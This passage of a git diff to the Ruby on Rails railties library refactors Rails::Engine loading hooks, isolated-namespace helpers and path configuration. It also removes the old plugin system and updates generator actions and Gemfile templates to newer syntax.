   #
-  # The routes above will automatically point to <tt>MyEngine::ApplicationContoller</tt>. Furthermore, you don't
+  # The routes above will automatically point to <tt>MyEngine::ArticlesController</tt>. Furthermore, you don't
   # need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use
   # <tt>articles_path</tt> as you would do with your application.
   #
@@ -245,7 +241,7 @@ module Rails
   #
   # Additionally, an isolated engine will set its name according to namespace, so
   # MyEngine::Engine.engine_name will be "my_engine". It will also set MyEngine.table_name_prefix
-  # to "my_engine_", changing the MyEngine::Article model to use the my_engine_article table.
+  # to "my_engine_", changing the MyEngine::Article model to use the my_engine_articles table.
   #
   # == Using Engine's routes outside Engine
   #
@@ -256,7 +252,7 @@ module Rails
   #   # config/routes.rb
   #   MyApplication::Application.routes.draw do
   #     mount MyEngine::Engine => "/my_engine", :as => "my_engine"
-  #     match "/foo" => "foo#index"
+  #     get "/foo" => "foo#index"
   #   end
   #
   # Now, you can use the <tt>my_engine</tt> helper inside your application:
@@ -296,16 +292,16 @@ module Rails
   # If you want to share just a few specific helpers you can add them to application's
   # helpers in ApplicationController:
   #
-  # class ApplicationController < ActionController::Base
-  #   helper MyEngine::SharedEngineHelper
-  # end
+  #   class ApplicationController < ActionController::Base
+  #     helper MyEngine::SharedEngineHelper
+  #   end
   #
-  # If you want to include all of the engine's helpers, you can use #helpers method on an engine's
+  # If you want to include all of the engine's helpers, you can use #helper method on an engine's
   # instance:
   #
-  # class ApplicationController < ActionController::Base
-  #   helper MyEngine::Engine.helpers
-  # end
+  #   class ApplicationController < ActionController::Base
+  #     helper MyEngine::Engine.helpers
+  #   end
   #
   # It will include all of the helpers from engine's directory. Take into account that this does
   # not include helpers defined in controllers with helper_method or other similar solutions,
@@ -326,29 +322,33 @@ module Rails
   # migration in the application and rerun copying migrations.
   #
   # If your engine has migrations, you may also want to prepare data for the database in
-  # the <tt>seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g.
+  # the <tt>db/seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g.
   #
   #   MyEngine::Engine.load_seed
   #
+  # == Loading priority
+  #
+  # In order to change engine's priority you can use +config.railties_order+ in main application.
+  # It will affect the priority of loading views, helpers, assets and all the other files
+  # related to engine or application.
+  #
+  #   # load Blog::Engine with highest priority, followed by application and other railties
+  #   config.railties_order = [Blog::Engine, :main_app, :all]
   class Engine < Railtie
     autoload :Configuration, "rails/engine/configuration"
-    autoload :Railties,      "rails/engine/railties"
-
-    def load_generators(app=self)
-      initialize_generators
-      railties.all { |r| r.load_generators(app) }
-      Rails::Generators.configure!(app.config.generators)
-      super
-      self
-    end
 
     class << self
       attr_accessor :called_from, :isolated
+
       alias :isolated? :isolated
       alias :engine_name :railtie_name
 
+      delegate :eager_load!, to: :instance
+
       def inherited(base)
         unless base.abstract_railtie?
+          Rails::Railtie::Configuration.eager_load_namespaces << base
+
           base.called_from = begin
             # Remove the line number from backtraces making sure we don't leave anything behind
             call_stack = caller.map { |p| p.sub(/:\d+.*/, '') }
@@ -371,49 +371,93 @@ module Rails
         self.routes.default_scope = { :module => ActiveSupport::Inflector.underscore(mod.name) }
         self.isolated = true
 
-        unless mod.respond_to?(:_railtie)
-          name = engine_name
-          _railtie = self
+        unless mod.respond_to?(:railtie_namespace)
+          name, railtie = engine_name, self
+
           mod.singleton_class.instance_eval do
-            define_method(:_railtie) do
-              _railtie
-            end
+            define_method(:railtie_namespace) { railtie }
 
             unless mod.respond_to?(:table_name_prefix)
-              define_method(:table_name_prefix) do
-                "#{name}_"
-              end
+              define_method(:table_name_prefix) { "#{name}_" }
+            end
+
+            unless mod.respond_to?(:use_relative_model_naming?)
+              class_eval "def use_relative_model_naming?; true; end", __FILE__, __LINE__
+            end
+
+            unless mod.respond_to?(:railtie_helpers_paths)
+              define_method(:railtie_helpers_paths) { railtie.helpers_paths }
+            end
+
+            unless mod.respond_to?(:railtie_routes_url_helpers)
+              define_method(:railtie_routes_url_helpers) { railtie.routes.url_helpers }
             end
-         end
+          end
         end
       end
 
       # Finds engine with given path
       def find(path)
-        expanded_path = File.expand_path path.to_s
-        Rails::Engine::Railties.engines.find { |engine|
-          File.expand_path(engine.root.to_s) == expanded_path
-        }
+        expanded_path = File.expand_path path
+        Rails::Engine.subclasses.each do |klass|
+          engine = klass.instance
+          return engine if File.expand_path(engine.root) == expanded_path
+        end
+        nil
       end
     end
 
     delegate :middleware, :root, :paths, :to => :config
     delegate :engine_name, :isolated?, :to => "self.class"
 
-    def load_tasks(app=self)
-      railties.all { |r| r.load_tasks(app) }
+    def initialize
+      @_all_autoload_paths = nil
+      @_all_load_paths     = nil
+      @app                 = nil
+      @config              = nil
+      @env_config          = nil
+      @helpers             = nil
+      @routes              = nil
       super
-      paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
     end
 
+    # Load console and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.console</tt> for more info.
     def load_console(app=self)
-      railties.all { |r| r.load_console(app) }
-      super
+      require "pp"
+      require "rails/console/app"
+      require "rails/console/helpers"
+      run_console_blocks(app)
+      self
     end
 
-    def eager_load!
-      railties.all(&:eager_load!)
+    # Load Rails runner and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.runner</tt> for more info.
+    def load_runner(app=self)
+      run_runner_blocks(app)
+      self
+    end
+
+    # Load Rake, railties tasks and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.rake_tasks</tt> for more info.
+    def load_tasks(app=self)
+      require "rake"
+      run_tasks_blocks(app)
+      self
+    end
 
+    # Load rails generators and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.generators</tt> for more info.
+    def load_generators(app=self)
+      require "rails/generators"
+      run_generators_blocks(app)
+      Rails::Generators.configure!(app.config.generators)
+      self
+    end
+
+    # Eager load the application by loading all ruby
+    # files inside eager_load paths.
+    def eager_load!
       config.eager_load_paths.each do |load_path|
         matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/
         Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
@@ -422,20 +466,10 @@ module Rails
       end
     end
 
-    def railties
-      @railties ||= self.class::Railties.new(config)
-    end
-
+    # Returns a module with all the helpers defined for the engine.
     def helpers
       @helpers ||= begin
         helpers = Module.new
-
-        helpers_paths = if config.respond_to?(:helpers_paths)
-          config.helpers_paths
-        else
-          paths["app/helpers"].existent
-        end
-
         all = ActionController::Base.all_helpers_from_path(helpers_paths)
         ActionController::Base.modules_for_helpers(all).each do |mod|
           helpers.send(:include, mod)
@@ -444,6 +478,12 @@ module Rails
       end
     end
 
+    # Returns all registered helpers paths.
+    def helpers_paths
+      paths["app/helpers"].existent
+    end
+
+    # Returns the underlying rack application for this engine.
     def app
       @app ||= begin
         config.middleware = config.middleware.merge_into(default_middleware_stack)
@@ -451,33 +491,37 @@ module Rails
       end
     end
 
+    # Returns the endpoint for this engine. If none is registered,
+    # defaults to an ActionDispatch::Routing::RouteSet.
     def endpoint
       self.class.endpoint || routes
     end
 
+    # Define the Rack API for this engine.
     def call(env)
-      app.call(env.merge!(env_config))
+      env.merge!(env_config)
+      if env['SCRIPT_NAME']
+        env.merge! "ROUTES_#{routes.object_id}_SCRIPT_NAME" => env['SCRIPT_NAME'].dup
+      end
+      app.call(env)
     end
 
+    # Defines additional Rack env configuration that is added on each call.
     def env_config
       @env_config ||= {
         'action_dispatch.routes' => routes
       }
     end
 
+    # Defines the routes for this engine. If a block is given to
+    # routes, it is appended to the engine.
     def routes
       @routes ||= ActionDispatch::Routing::RouteSet.new
       @routes.append(&Proc.new) if block_given?
       @routes
     end
 
-    def initializers
-      initializers = []
-      railties.all { |r| initializers += r.initializers }
-      initializers += super
-      initializers
-    end
-
+    # Define the configuration object for the engine.
     def config
       @config ||= Engine::Configuration.new(find_root_with_flag("lib"))
     end
@@ -487,8 +531,8 @@ module Rails
     #
     # Blog::Engine.load_seed
     def load_seed
-      seed_file = paths["db/seeds"].existent.first
-      load(seed_file) if seed_file && File.exist?(seed_file)
+      seed_file = paths["db/seeds.rb"].existent.first
+      load(seed_file) if seed_file
     end
 
     # Add configured load paths to ruby load paths and remove duplicates.
@@ -515,7 +559,7 @@ module Rails
     end
 
     initializer :add_routing_paths do |app|
-      paths = self.paths["config/routes"].existent
+      paths = self.paths["config/routes.rb"].existent
 
       if routes? || paths.any?
         app.routes_reloader.paths.unshift(*paths)
@@ -532,14 +576,15 @@ module Rails
     initializer :add_view_paths do
       views = paths["app/views"].existent
       unless views.empty?
-        ActiveSupport.on_load(:action_controller){ prepend_view_path(views) }
+        ActiveSupport.on_load(:action_controller){ prepend_view_path(views) if respond_to?(:prepend_view_path) }
         ActiveSupport.on_load(:action_mailer){ prepend_view_path(views) }
       end
     end
 
     initializer :load_environment_config, :before => :load_environment_hook, :group => :all do
-      environment = paths["config/environments"].existent.first
-      require environment if environment
+      paths["config/environments"].existent.each do |environment|
+        require environment
+      end
     end
 
     initializer :append_assets_path, :group => :all do |app|
@@ -574,27 +619,32 @@ module Rails
           desc "Copy migrations from #{railtie_name} to application"
           task :migrations do
             ENV["FROM"] = railtie_name
-            Rake::Task["railties:install:migrations"].invoke
+            if Rake::Task.task_defined?("railties:install:migrations")
+              Rake::Task["railties:install:migrations"].invoke
+            else
+              Rake::Task["app:railties:install:migrations"].invoke
+            end
           end
         end
       end
     end
 
-  protected
+    protected
 
-    def initialize_generators
-      require "rails/generators"
+    def run_tasks_blocks(*) #:nodoc:
+      super
+      paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
     end
 
-    def routes?
-      defined?(@routes)
+    def routes? #:nodoc:
+      @routes
     end
 
-    def has_migrations?
+    def has_migrations? #:nodoc:
       paths["db/migrate"].existent.any?
     end
 
-    def find_root_with_flag(flag, default=nil)
+    def find_root_with_flag(flag, default=nil) #:nodoc:
       root_path = self.class.called_from
 
       while root_path && File.directory?(root_path) && !File.exist?("#{root_path}/#{flag}")
@@ -605,23 +655,22 @@ module Rails
       root = File.exist?("#{root_path}/#{flag}") ? root_path : default
       raise "Could not find root path for #{self}" unless root
 
-      RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ?
-        Pathname.new(root).expand_path : Pathname.new(root).realpath
+      Pathname.new File.realpath root
     end
 
-    def default_middleware_stack
+    def default_middleware_stack #:nodoc:
       ActionDispatch::MiddlewareStack.new
     end
 
-    def _all_autoload_once_paths
+    def _all_autoload_once_paths #:nodoc:
       config.autoload_once_paths
     end
 
-    def _all_autoload_paths
+    def _all_autoload_paths #:nodoc:
       @_all_autoload_paths ||= (config.autoload_paths + config.eager_load_paths + config.autoload_once_paths).uniq
     end
 
-    def _all_load_paths
+    def _all_load_paths #:nodoc:
       @_all_load_paths ||= (config.paths.load_paths + _all_autoload_paths).uniq
     end
   end
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
index b71119af77..072d16291b 100644
--- a/railties/lib/rails/engine/commands.rb
+++ b/railties/lib/rails/engine/commands.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/object/inclusion'
-
 ARGV << '--help' if ARGV.empty?
 
 aliases = {
@@ -25,7 +23,7 @@ when '--version', '-v'
   require 'rails/commands/application'
 
 else
-  puts "Error: Command not recognized" unless command.in?(['-h', '--help'])
+  puts "Error: Command not recognized" unless %w(-h --help).include?(command)
   puts <<-EOT
 Usage: rails COMMAND [ARGS]
 
@@ -34,6 +32,10 @@ The common rails commands available for engines are:
  destroy     Undo code generated with "generate" (short-cut alias: "d")
 
 All commands can be run with -h for more information.
+
+If you want to run any commands that need to be run in context
+of the application, like `rails server` or `rails console`,
+you should do it from application's directory (typically test/dummy).
   EOT
   exit(1)
 end
diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb
index f424492bb4..6b18b1e249 100644
--- a/railties/lib/rails/engine/configuration.rb
+++ b/railties/lib/rails/engine/configuration.rb
@@ -5,7 +5,6 @@ module Rails
     class Configuration < ::Rails::Railtie::Configuration
       attr_reader :root
       attr_writer :middleware, :eager_load_paths, :autoload_once_paths, :autoload_paths
-      attr_accessor :plugins
 
       def initialize(root=nil)
         super()
@@ -21,7 +20,7 @@ module Rails
       # Holds generators configuration:
       #
       #   config.generators do |g|
-      #     g.orm             :datamapper, :migration => true
+      #     g.orm             :data_mapper, :migration => true
       #     g.template_engine :haml
       #     g.test_framework  :rspec
       #   end
@@ -30,7 +29,7 @@ module Rails
       #
       #   config.generators.colorize_logging = false
       #
-      def generators #:nodoc
+      def generators #:nodoc:
         @generators ||= Rails::Configuration::Generators.new
         yield(@generators) if block_given?
         @generators
@@ -53,13 +52,12 @@ module Rails
           paths.add "config/environments", :glob => "#{Rails.env}.rb"
           paths.add "config/initializers", :glob => "**/*.rb"
           paths.add "config/locales",      :glob => "*.{rb,yml}"
-          paths.add "config/routes",       :with => "config/routes.rb"
+          paths.add "config/routes.rb"
           paths.add "db"
           paths.add "db/migrate"
-          paths.add "db/seeds",            :with => "db/seeds.rb"
+          paths.add "db/seeds.rb"
           paths.add "vendor",              :load_path => true
           paths.add "vendor/assets",       :glob => "*"
-          paths.add "vendor/plugins"
           paths
         end
       end
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
deleted file mode 100644
index d5ecd2e48d..0000000000
--- a/railties/lib/rails/engine/railties.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-module Rails
-  class Engine < Railtie
-    class Railties
-      # TODO Write tests for this behavior extracted from Application
-      def initialize(config)
-        @config = config
-      end
-
-      def all(&block)
-        @all ||= plugins
-        @all.each(&block) if block
-        @all
-      end
-
-      def plugins
-        @plugins ||= begin
-          plugin_names = (@config.plugins || [:all]).map { |p| p.to_sym }
-          Plugin.all(plugin_names, @config.paths["vendor/plugins"].existent)
-        end
-      end
-
-      def self.railties
-        @railties ||= ::Rails::Railtie.subclasses.map(&:instance)
-      end
-
-      def self.engines
-        @engines ||= ::Rails::Engine.subclasses.map(&:instance)
-      end
-
-      delegate :railties, :engines, :to => "self.class"
-    end
-  end
-end
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 27f8d13ce8..4fa990171d 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -38,11 +38,6 @@ module Rails
 
       :test_unit => {
         :fixture_replacement => '-r',
-      },
-
-      :plugin => {
-        :generator => '-g',
-        :tasks => '-r'
       }
     }
 
@@ -57,16 +52,12 @@ module Rails
         :orm => false,
         :performance_tool => nil,
         :resource_controller => :controller,
+        :resource_route => true,
         :scaffold_controller => :scaffold_controller,
         :stylesheets => true,
         :stylesheet_engine => :css,
         :test_framework => false,
         :template_engine => :erb
-      },
-
-      :plugin => {
-        :generator => false,
-        :tasks => false
       }
     }
 
@@ -80,7 +71,7 @@ module Rails
       hide_namespaces(*config.hidden_namespaces)
     end
 
-    def self.templates_path
+    def self.templates_path #:nodoc:
       @templates_path ||= []
     end
 
@@ -104,7 +95,6 @@ module Rails
     # some of them are not available by adding a fallback:
     #
     #   Rails::Generators.fallbacks[:shoulda] = :test_unit
-    #
     def self.fallbacks
       @fallbacks ||= {}
     end
@@ -124,8 +114,6 @@ module Rails
     # Generators names must end with "_generator.rb". This is required because Rails
     # looks in load paths and loads the generator just before it's going to be used.
     #
-    # ==== Examples
-    #
     #   find_by_namespace :webrat, :rails, :integration
     #
     # Will search for the following generators:
@@ -134,7 +122,6 @@ module Rails
     #
     # Notice that "rails:generators:webrat" could be loaded as well, what
     # Rails looks for is the first and last parts of the namespace.
-    #
     def self.find_by_namespace(name, base=nil, context=nil) #:nodoc:
       lookups = []
       lookups << "#{base}:#{name}"    if base
@@ -182,6 +169,7 @@ module Rails
 
         [
           "rails",
+          "resource_route",
           "#{orm}:migration",
           "#{orm}:model",
           "#{orm}:observer",
@@ -195,7 +183,6 @@ module Rails
           "#{test}:scaffold",
           "#{test}:view",
           "#{test}:performance",
-          "#{test}:plugin",
           "#{template}:controller",
           "#{template}:scaffold",
           "#{template}:mailer",
@@ -246,7 +233,7 @@ module Rails
       rails.delete("plugin_new")
       print_list("rails", rails)
 
-      hidden_namespaces.each {|n| groups.delete(n.to_s) }
+      hidden_namespaces.each { |n| groups.delete(n.to_s) }
 
       groups.sort.each { |b, n| print_list(b, n) }
     end
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index b26839644e..c41acc7841 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -5,49 +5,11 @@ module Rails
   module Generators
     module Actions
 
-      # Install a plugin. You must provide either a Subversion url or Git url.
-      #
-      # For a Git-hosted plugin, you can specify a branch and
-      # whether it should be added as a submodule instead of cloned.
-      #
-      # For a Subversion-hosted plugin you can specify a revision.
-      #
-      # ==== Examples
-      #
-      #   plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git'
-      #   plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git', :branch => 'stable'
-      #   plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git', :submodule => true
-      #   plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
-      #   plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk', :revision => 1234
-      #
-      def plugin(name, options)
-        log :plugin, name
-
-        if options[:git] && options[:submodule]
-          options[:git] = "-b #{options[:branch]} #{options[:git]}" if options[:branch]
-          in_root do
-            run "git submodule add #{options[:git]} vendor/plugins/#{name}", :verbose => false
-          end
-        elsif options[:git] || options[:svn]
-          options[:git] = "-b #{options[:branch]} #{options[:git]}"   if options[:branch]
-          options[:svn] = "-r #{options[:revision]} #{options[:svn]}" if options[:revision]
-          in_root do
-            run_ruby_script "script/rails plugin install #{options[:svn] || options[:git]}", :verbose => false
-          end
-        else
-          log "! no git or svn provided for #{name}. Skipping..."
-        end
-      end
-
-      # Adds an entry into Gemfile for the supplied gem. If env
-      # is specified, add the gem to the given environment.
-      #
-      # ==== Example
+      # Adds an entry into Gemfile for the supplied gem.
       #
       #   gem "rspec", :group => :test
       #   gem "technoweenie-restful-authentication", :lib => "restful-authentication", :source => "http://gems.github.com/"
       #   gem "rails", "3.0", :git => "git://github.com/rails/rails"
-      #
       def gem(*args)
         options = args.extract_options!
         name, version = args
@@ -64,43 +26,39 @@ module Rails
         log :gemfile, message
 
         options.each do |option, value|
-          parts << ":#{option} => #{value.inspect}"
+          parts << "#{option}: #{value.inspect}"
         end
 
         in_root do
-          str = "gem #{parts.join(", ")}\n"
+          str = "gem #{parts.join(", ")}"
           str = "  " + str if @in_group
+          str = "\n" + str
           append_file "Gemfile", str, :verbose => false
         end
       end
 
       # Wraps gem entries inside a group.
       #
-      # ==== Example
-      #
       #   gem_group :development, :test do
       #     gem "rspec-rails"
       #   end
-      #
       def gem_group(*names, &block)
         name = names.map(&:inspect).join(", ")
         log :gemfile, "group #{name}"
 
         in_root do
-          append_file "Gemfile", "\ngroup #{name} do\n", :force => true
+          append_file "Gemfile", "\ngroup #{name} do", :force => true
 
           @in_group = true
           instance_eval(&block)
           @in_group = false
 
-          append_file "Gemfile", "end\n", :force => true
+          append_file "Gemfile", "\nend\n", :force => true
         end
       end
 
       # Add the given source to Gemfile
       #
-      # ==== Example
-      #
       #   add_source "http://gems.github.com/"
       def add_source(source, options={})
         log :source, source
@@ -115,6 +73,13 @@ module Rails
       # If options :env is specified, the line is appended to the corresponding
       # file in config/environments.
       #
+      #   environment do
+      #     "config.autoload_paths += %W(#{config.root}/extras)"
+      #   end
+      #
+      #   environment(nil, :env => "development") do
+      #     "config.active_record.observers = :cacher"
+      #   end
       def environment(data=nil, options={}, &block)
         sentinel = /class [a-z_:]+ < Rails::Application/i
         env_file_sentinel = /::Application\.configure do/
@@ -124,7 +89,7 @@ module Rails
           if options[:env].nil?
             inject_into_file 'config/application.rb', "\n    #{data}", :after => sentinel, :verbose => false
           else
-            Array.wrap(options[:env]).each do |env|
+            Array(options[:env]).each do |env|
               inject_into_file "config/environments/#{env}.rb", "\n  #{data}", :after => env_file_sentinel, :verbose => false
             end
           end
@@ -134,12 +99,9 @@ module Rails
 
       # Run a command in git.
       #
-      # ==== Examples
-      #
       #   git :init
       #   git :add => "this.file that.rb"
       #   git :add => "onefile.rb", :rm => "badfile.cxx"
-      #
       def git(commands={})
         if commands.is_a?(Symbol)
           run "git #{commands}"
@@ -153,15 +115,12 @@ module Rails
       # Create a new file in the vendor/ directory. Code can be specified
       # in a block or a data string can be given.
       #
-      # ==== Examples
-      #
       #   vendor("sekrit.rb") do
       #     sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--"
       #     "salt = '#{sekrit_salt}'"
       #   end
       #
       #   vendor("foreign.rb", "# Foreign code is fun")
-      #
       def vendor(filename, data=nil, &block)
         log :vendor, filename
         create_file("vendor/#{filename}", data, :verbose => false, &block)
@@ -170,14 +129,11 @@ module Rails
       # Create a new file in the lib/ directory. Code can be specified
       # in a block or a data string can be given.
       #
-      # ==== Examples
-      #
       #   lib("crypto.rb") do
       #     "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'"
       #   end
       #
       #   lib("foreign.rb", "# Foreign code is fun")
-      #
       def lib(filename, data=nil, &block)
         log :lib, filename
         create_file("lib/#{filename}", data, :verbose => false, &block)
@@ -185,22 +141,19 @@ module Rails
 
       # Create a new Rakefile with the provided code (either in a block or a string).
       #
-      # ==== Examples
-      #
       #   rakefile("bootstrap.rake") do
       #     project = ask("What is the UNIX name of your project?")
       #
       #     <<-TASK
       #       namespace :#{project} do
       #         task :bootstrap do
-      #           puts "i like boots!"
+      #           puts "I like boots!"
       #         end
       #       end
       #     TASK
       #   end
       #
-      #   rakefile("seed.rake", "puts 'im plantin ur seedz'")
-      #
+      #   rakefile('seed.rake', 'puts "Planting seeds"')
       def rakefile(filename, data=nil, &block)
         log :rakefile, filename
         create_file("lib/tasks/#{filename}", data, :verbose => false, &block)
@@ -208,8 +161,6 @@ module Rails
 
       # Create a new initializer with the provided code (either in a block or a string).
       #
-      # ==== Examples
-      #
       #   initializer("globals.rb") do
       #     data = ""
       #
@@ -221,7 +172,6 @@ module Rails
       #   end
       #
       #   initializer("api.rb", "API_KEY = '123456'")
-      #
       def initializer(filename, data=nil, &block)
         log :initializer, filename
         create_file("config/initializers/#{filename}", data, :verbose => false, &block)
@@ -231,10 +181,7 @@ module Rails
       # The second parameter is the argument string that is passed to
       # the generator or an Array that is joined.
       #
-      # ==== Example
-      #
       #   generate(:authenticated, "user session")
-      #
       def generate(what, *args)
         log :generate, what
         argument = args.map {|arg| arg.to_s }.flatten.join(" ")
@@ -244,12 +191,9 @@ module Rails
 
       # Runs the supplied rake task
       #
-      # ==== Example
-      #
       #   rake("db:migrate")
       #   rake("db:migrate", :env => "production")
       #   rake("gems:install", :sudo => true)
-      #
       def rake(command, options={})
         log :rake, command
         env  = options[:env] || ENV["RAILS_ENV"] || 'development'
@@ -259,10 +203,7 @@ module Rails
 
       # Just run the capify command in root
       #
-      # ==== Example
-      #
       #   capify!
-      #
       def capify!
         log :capify, ""
         in_root { run("#{extify(:capify)} .", :verbose => false) }
@@ -270,25 +211,19 @@ module Rails
 
       # Make an entry in Rails routing file config/routes.rb
       #
-      # === Example
-      #
-      #   route "root :to => 'welcome'"
-      #
+      #   route "root :to => 'welcome#index'"
       def route(routing_code)
         log :route, routing_code
-        sentinel = /\.routes\.draw do(?:\s*\|map\|)?\s*$/
+        sentinel = /\.routes\.draw do\s*$/
 
         in_root do
-          inject_into_file 'config/routes.rb', "\n  #{routing_code}\n", { :after => sentinel, :verbose => false }
+          inject_into_file 'config/routes.rb', "\n  #{routing_code}", { :after => sentinel, :verbose => false }
         end
       end
 
       # Reads the given file at the source root and prints it in the console.
       #
-      # === Example
-      #
       #   readme "README"
-      #
       def readme(path)
         log File.read(find_in_source_paths(path))
       end
@@ -298,7 +233,6 @@ module Rails
         # Define log for backwards compatibility. If just one argument is sent,
         # invoke say, otherwise invoke say_status. Differently from say and
         # similarly to say_status, this method respects the quiet? option given.
-        #
         def log(*args)
           if args.size == 1
             say args.first.to_s unless options.quiet?
@@ -309,7 +243,6 @@ module Rails
         end
 
         # Add an extension to the given name based on the platform.
-        #
         def extify(name)
           if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
             "#{name}.bat"
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
index 4b828340d2..0e51b9c568 100644
--- a/railties/lib/rails/generators/active_model.rb
+++ b/railties/lib/rails/generators/active_model.rb
@@ -11,7 +11,7 @@ module Rails
     #   ActiveRecord::Generators::ActiveModel.find(Foo, "params[:id]")
     #   # => "Foo.find(params[:id])"
     #
-    #   Datamapper::Generators::ActiveModel.find(Foo, "params[:id]")
+    #   DataMapper::Generators::ActiveModel.find(Foo, "params[:id]")
     #   # => "Foo.get(params[:id])"
     #
     # On initialization, the ActiveModel accepts the instance name that will
@@ -37,7 +37,7 @@ module Rails
 
       # GET show
       # GET edit
-      # PUT update
+      # PATCH/PUT update
       # DELETE destroy
       def self.find(klass, params=nil)
         "#{klass}.find(#{params})"
@@ -58,13 +58,13 @@ module Rails
         "#{name}.save"
       end
 
-      # PUT update
+      # PATCH/PUT update
       def update_attributes(params=nil)
         "#{name}.update_attributes(#{params})"
       end
 
       # POST create
-      # PUT update
+      # PATCH/PUT update
       def errors
         "#{name}.errors"
       end
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 0a79d6e86e..383bea9e54 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -49,6 +49,9 @@ module Rails
         class_option :skip_javascript,    :type => :boolean, :aliases => "-J", :default => false,
                                           :desc => "Skip JavaScript files"
 
+        class_option :skip_index_html,    :type => :boolean, :aliases => "-I", :default => false,
+                                          :desc => "Skip public/index.html and app/assets/images/rails.png files"
+
         class_option :dev,                :type => :boolean, :default => false,
                                           :desc => "Setup the #{name} with Gemfile pointing to your Rails checkout"
 
@@ -60,9 +63,6 @@ module Rails
 
         class_option :help,               :type => :boolean, :aliases => "-h", :group => :rails,
                                           :desc => "Show this help message and quit"
-
-        class_option :old_style_hash,     :type => :boolean, :default => false,
-                                          :desc => "Force using old style hash (:foo => 'bar') on Ruby >= 1.9"
       end
 
       def initialize(*args)
@@ -123,7 +123,7 @@ module Rails
       end
 
       def database_gemfile_entry
-        options[:skip_active_record] ? "" : "gem '#{gem_for_database}'\n"
+        options[:skip_active_record] ? "" : "gem '#{gem_for_database}'"
       end
 
       def include_all_railties?
@@ -137,22 +137,24 @@ module Rails
       def rails_gemfile_entry
         if options.dev?
           <<-GEMFILE.strip_heredoc
-            gem 'rails',     :path => '#{Rails::Generators::RAILS_DEV_PATH}'
-            gem 'journey',   :git => 'git://github.com/rails/journey.git'
-            gem 'arel',      :git => 'git://github.com/rails/arel.git'
+            gem 'rails',     path: '#{Rails::Generators::RAILS_DEV_PATH}'
+            gem 'journey',   github: 'rails/journey'
+            gem 'arel',      github: 'rails/arel'
+            gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders'
           GEMFILE
         elsif options.edge?
           <<-GEMFILE.strip_heredoc
-            gem 'rails',     :git => 'git://github.com/rails/rails.git'
-            gem 'journey',   :git => 'git://github.com/rails/journey.git'
-            gem 'arel',      :git => 'git://github.com/rails/arel.git'
+            gem 'rails',     github: 'rails/rails'
+            gem 'journey',   github: 'rails/journey'
+            gem 'arel',      github: 'rails/arel'
+            gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders'
           GEMFILE
         else
           <<-GEMFILE.strip_heredoc
             gem 'rails', '#{Rails::VERSION::STRING}'
 
             # Bundle edge Rails instead:
-            # gem 'rails', :git => 'git://github.com/rails/rails.git'
+            # gem 'rails', github: 'rails/rails'
           GEMFILE
         end
       end
@@ -184,30 +186,54 @@ module Rails
         end
       end
 
-      def ruby_debugger_gemfile_entry
-        if RUBY_VERSION < "1.9"
-          "gem 'ruby-debug'"
+      def assets_gemfile_entry
+        return if options[:skip_sprockets]
+
+        gemfile = if options.dev? || options.edge?
+          <<-GEMFILE
+            # Gems used only for assets and not required
+            # in production environments by default.
+            group :assets do
+              gem 'sprockets-rails', github: 'rails/sprockets-rails'
+              gem 'sass-rails',   github: 'rails/sass-rails'
+              gem 'coffee-rails', github: 'rails/coffee-rails'
+
+              # See https://github.com/sstephenson/execjs#readme for more supported runtimes
+              #{javascript_runtime_gemfile_entry}
+              gem 'uglifier', '>= 1.0.3'
+            end
+          GEMFILE
         else
-          "gem 'ruby-debug19', :require => 'ruby-debug'"
+          <<-GEMFILE
+            # Gems used only for assets and not required
+            # in production environments by default.
+            group :assets do
+              gem 'sprockets-rails', github: 'rails/sprockets-rails'
+              gem 'sass-rails',   '~> 4.0.0.beta'
+              gem 'coffee-rails', '~> 4.0.0.beta'
+
+              # See https://github.com/sstephenson/execjs#readme for more supported runtimes
+              #{javascript_runtime_gemfile_entry}
+              gem 'uglifier', '>= 1.0.3'
+            end
+          GEMFILE
         end
-      end
 
-      def assets_gemfile_entry
-        <<-GEMFILE.strip_heredoc
-          # Gems used only for assets and not required
-          # in production environments by default.
-          group :assets do
-            gem 'sass-rails',   :git => 'git://github.com/rails/sass-rails.git'
-            gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails.git'
-            gem 'uglifier', '>= 1.0.3'
-          end
-        GEMFILE
+        gemfile.strip_heredoc.gsub(/^[ \t]*$/, '')
       end
 
       def javascript_gemfile_entry
         "gem '#{options[:javascript]}-rails'" unless options[:skip_javascript]
       end
 
